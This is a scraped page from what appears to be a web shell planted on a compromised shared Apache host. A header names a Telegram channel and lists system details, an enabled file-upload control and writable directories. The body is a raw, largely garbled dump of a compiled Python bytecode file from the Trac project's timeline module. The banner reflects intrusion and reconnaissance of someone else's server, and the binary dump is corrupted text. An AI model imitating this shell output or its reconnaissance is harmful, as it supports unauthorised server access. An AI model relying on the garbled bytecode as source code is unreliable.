https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/trac/timeline/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/trac/timeline/__pycache__/web_ui.cpython-310.pyc
o

�k�`1B�@s ddlZddlZddlmZmZddlmZmZddlTddlm	Z	ddl
mZddlm
Z
mZmZmZmZmZmZmZmZmZmZmZddlmZdd	lmZdd
lmZddlm Z m!Z!ddl"m#Z#m$Z$m%Z%m&Z&m'Z'm(Z(m)Z)m*Z*m+Z+m,Z,m-Z-dd
l.m/Z/ddl0m1Z1m2Z2Gdd�de3�Z4dS)�N)�datetime�	timedelta)�	IntOption�
BoolOption)�*)�IPermissionRequestor)�ITimelineEventProvider)�datetime_now�format_date�format_datetime�format_time�localtz�
parse_date�pretty_timedelta�to_datetime�
to_utimestamp�truncate_datetime�	user_time�utc)�tag)�
to_unicode)�_)�IRequestHandler�IRequestFilter)�Chrome�INavigationContributor�ITemplateProvider�	accesskey�add_link�add_stylesheet�add_warning�	auth_link�component_guard�prevnext_nav�web_context)�IWikiSyntaxProvider)�concat_path_query_fragment�"split_url_into_path_query_fragmentc@s�eZdZeeeeeee	�e
e�Ze
dddd�Ze
dddd�Zeddd	d
�Ze�d�Zdd
�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zd d!�Z	#	"d(d$d%�Z d&d'�Z!d"S))�TimelineModule�timeline�default_daysback�zCDefault number of days displayed in the Timeline, in days.
        �max_daysback�ZzWMaximum number of days (-1 for unlimited) displayable in the
        Timeline.
        �abbreviated_messagesTz�Whether wiki-formatted event messages should be truncated or not.

        This only affects the default rendering, and can be overriden by
        specific event providers, see their own documentation.
        z'(-)?(?:"([^"]*)"|\'([^\']*)\'|([^\s]+))cCsdS)Nr)���self�reqr/r/�6/usr/lib/python3/dist-packages/trac/timeline/web_ui.py�get_active_navigation_itemI�z)TimelineModule.get_active_navigation_itemccs@�d|�d�vrddtjtd�|j��t|d�d�fVdSdS)N�
TIMELINE_VIEWr)�mainnav�Timeline�)�hrefr)�permr�arr:r)rr0r/r/r3�get_navigation_itemsLs��
��z#TimelineModule.get_navigation_itemscCsdgS)Nr6r/�r1r/r/r3�get_permission_actionsTsz%TimelineModule.get_permission_actionscCs
|jdkS)Nz	/timeline)�	path_infor0r/r/r3�
match_requestYs
zTimelineModule.match_requestc'sb��d��d��j�d�}�j�d|dkrdnd�}�j�dd�}t�fd	d
�dD��}|r6�j�d|�}t�j	�}t
|�}t|jdd
�t
dd��j	�}d}	}
d�jvr��j�d���}|r�zt�t|�}	Wnty�}zt�|�WYd}~nd}~ww|	��j	�}�j�dd�}
|
�d�r�t
dd�}
n|
�d�r�t
dd�}
n
|
�d�r�t
dd�}
nd}
tt|j|j|jdddd��j	�}�j�d|j�}
|dkr�dn|
}�jjd|d|jd�}�j�d �}|dur�|dkr�j�d!�}|p�d��}||||||	|
gg|jd"�
}g}|jD]%}t|j�|��||����pg7}Wd�n	1�s)wY�q
�fd#d$�|D�}|�sJ|dk�rJ�fd%d$�|D�}|�sTd&d$�|D�}d'�jv�r|D]"}d(|d}|d�jv�rsd)�j|<�q\|�jv�r}�j|=�q\|}t|jdd
�t
|dd��j	�}t �}t �}|j!�"|�D](}|�#d*��p�|�#d+��p�|�#d,��$�}|�#d��r�|�%|��q�|�%|��q�g}|jD]K}t|j�|��8|�&�|||��p�gD]$}|d*�p�d�$�} |�r�| |v�r| |v�r|�'|�(�|||���q�Wd�n	1�swY�q�t)|d-d.�d/d0�}|�r*|d|�}||d1<|dk�rKt*�d/d2�}!|!j+d3d4d5�|!|d6<d7|d8d9ifS�j� d||j��j� d!|d�|�rw|�swt,|dd:�}"t-||"��jd<|�jd<t*��}#|#j+d;|jd5�|#|d6<t.�d<��j/j0d=d$�|D�dd|dd>�}$t1�d?t2�|$�t3d@�d9d�t4|j��5��|D]}|dA�'|d|d|d|vdB���q�|jdd
�t
|dd�}%t6|%dC�j	dD�}%t1�dE�j/j0|%||dF�t3dG��||t
dd�k�r#|jdd
�t
|dd�}&t6t|&�j	�dC�j	dD�}&t1�dH�j/j0|&||dF�t3dI��t7�t3dG�t3dI��dJ|fS)KNr)r6�format�max�rss�2rztimeline.lastvisitc3s�|]}|�jvVqdS�N��args)�.0r<�r2r/r3�	<genexpr>ds��z1TimelineModule.process_request.<locals>.<genexpr>)�update�from�daysback�authorztimeline.nextlastvisit��tzinfo�)�daysrM�	precision��second)�seconds�minute)�minutes�hour)�hours��;i?Bztimeline.daysbackr-rN)�minrC�authorsztimeline.authors)
�fromdaterNr_�today�	yesterday�precisedaterT�events�filtersr.cs"g|]
}|d�jvr|d�qS)rrG�rI�frJr/r3�
<listcomp>�s"z2TimelineModule.process_request.<locals>.<listcomp>cs(g|]}�j�d|d�r|d�qS)ztimeline.filter.r)�session�as_intrfrJr/r3rh�s�cSs(g|]}t|�dks|dr|d�qS)r9r)�lenrfr/r/r3rh�s(rLztimeline.filter.%s�1r9��cSs|dS)Nrr/)�er/r/r3�<lambda>�sz0TimelineModule.process_request.<locals>.<lambda>T)�key�reverserd)�absurls�htmlF)�wiki_flavor�
shorten_lines�contextztimeline.rss�content_typezapplication/rss+xmlr�onelinerzcommon/css/timeline.csscSsg|]}|df�qS)�onr/rfr/r/r3rh�s)rNrCr_rB�	alternatezRSS Feedre)�name�label�enabled�iso8601)rBrQ�prev)�from_r_rNzPrevious Period�nextzNext Periodz
timeline.html)8r;�requirerH�get�getintrirj�anyr	�tzrr�replacer�striprr�	TracErrorr �
astimezone�
startswithr�year�month�dayr*r,r.�event_providersr"�env�get_timeline_filters�set�_authors_pattern�finditer�group�lower�add�get_timeline_events�append�_event_data�sortedr$�	set_hintsrrCrr:r)rr!rr�
add_jquery_uir
r#)'r1r2rB�maxrows�	lastvisit�revisitr`rarbrcrT�reqfromdatero�pref�defaultrNr_�data�available_filters�event_providerre�filter_rq�stop�start�include�exclude�matchr|rd�provider�eventrO�rss_context�
lastviewed�html_context�rss_href�previous_start�
next_startr/rJr3�process_request\sR��
�
��


��
��
������&

��
�����


�
�
��
�
����
����zTimelineModule.process_requestcC�gSrFr/r>r/r/r3�get_htdocs_dirsr5zTimelineModule.get_htdocs_dirscCst�dd�gS)Nz
trac.timeline�	templates)�
pkg_resources�resource_filenamer>r/r/r3�get_templates_dirs
�z!TimelineModule.get_templates_dirscCs|SrFr/)r1r2�handlerr/r/r3�pre_process_requestr5z"TimelineModule.pre_process_requestcs:|rd��fdd�	��fdd�}�|d<||d<|||fS)	NFcs`|sdS|dkrt�t|�}nt�t|�}tt�}t||�}|s+�j�dt�j	�j
�}|dkrd||krS|s;td|d�n|}tdt�t|�t�t|�d�}t
j||d	�S|s[td
|d�n|}td|d�}nB|ri|}n&�jd
krutd|d�}n|dkr�td|d�}ntdt�t|�t�t|�d�}||kr�td|d�}t
j||d	�Std|d�}�j�||d|d�S)NrU�date�dateinfo�relativezin %(relative)s)r�zon %(date)s at %(time)s)r��time)�titlez%(relative)s ago� See timeline at %(absolutetime)s��absolutetimerzat %(iso8601)s)rzon %(date)s�r�z!See timeline %(relativetime)s ago)�relativetimerV)rTr�)rr
rr	r
rrir�rr��default_dateinfo_formatrrr�span�lc_time�get_timeline_link)r�rB�dateonly�absolute�nowr�r}r�)r2r1r/r3�pretty_dateinfos`

���

����


��
�z<TimelineModule.post_process_request.<locals>.pretty_dateinfocs�|ddd�S)Nr�T)rBr�r/r�)r�r/r3r�?r�z5TimelineModule.post_process_request.<locals>.dateinfor�r�)NFr/)r1r2�templater��metadatar�r/)r�r2r1r3�post_process_requests+
z#TimelineModule.post_process_requestcCr�rFr/r>r/r/r3�get_wiki_syntaxGr5zTimelineModule.get_wiki_syntaxc#s��fdd�}d|fVdS)Nc
s�t|�\}}}d}|�dd�}t|�dkr8|d�d�d}t|�dkr'd}nt|�dkr0d}nt|�d	kr8d
}zt|tddd�}	��|j|	||||�WStyh}
ztj	|t
|
�d
d�WYd}
~
Sd}
~
ww)N�TrR�Zr�rWrnrYr9r[r)�locale�hintztimeline missing)r��class_)r'�splitrkrrr�r2r�rr<r)�	formatter�ns�targetr}�path�query�fragmentrTr��dtror>r/r3�
link_resolverKs,����z8TimelineModule.get_link_resolvers.<locals>.link_resolverr)r/)r1r�r/r>r3�get_link_resolversJs�z!TimelineModule.get_link_resolversNr[c
CsHt|d|j�}|jj||d�}	tj|p|d|ptd|d�t|	||�d�S)Nr)r�rTr)r�r�)r�r�r:)rr�r:r)rr<rr&)
r1r2r�r}rTr�r�r��iso_dater:r/r/r3r�bs�
�z TimelineModule.get_timeline_linkc
svt��dkr�\}}}}�n�\}}}}��fdd�}	t||jd�}
t|
�}t|
�}||||
||	|o5||k�|�d�
S)zZCompose the timeline event date from the event tuple and prepared
        provider methods�cs��||��SrF)�render_timeline_event)�fieldrw�r�r�r/r3rptr�z,TimelineModule._event_data.<locals>.<lambda>rP)
�kindrOr�r�datetime_uid�render�unreadr�r�r�)rkrr�rr)
r1r2r�r�r�r�rrOr�r��localized_datetime�localized_dater�r/r�r3r�ms
�zTimelineModule._event_data)Nr[NNN)"�__name__�
__module__�__qualname__�
implementsrrrrrr%�ExtensionPointrr�rr*r,rr.�re�compiler�r4r=r?rAr�r�r�r�r�r�r�r�r�r/r/r/r3r(-s@����
,5
�r()5r�r�rr�trac.configrr�	trac.core�	trac.permr�trac.timeline.apir�trac.util.datefmtr	r
rrr
rrrrrrr�trac.util.htmlr�trac.util.textr�trac.util.translationr�trac.webrr�trac.web.chromerrrrrrr r!r"r#r$�
trac.wiki.apir%�trac.wiki.formatterr&r'�	Componentr(r/r/r/r3�<module>s 84

https://t.me/RX1948 - 2025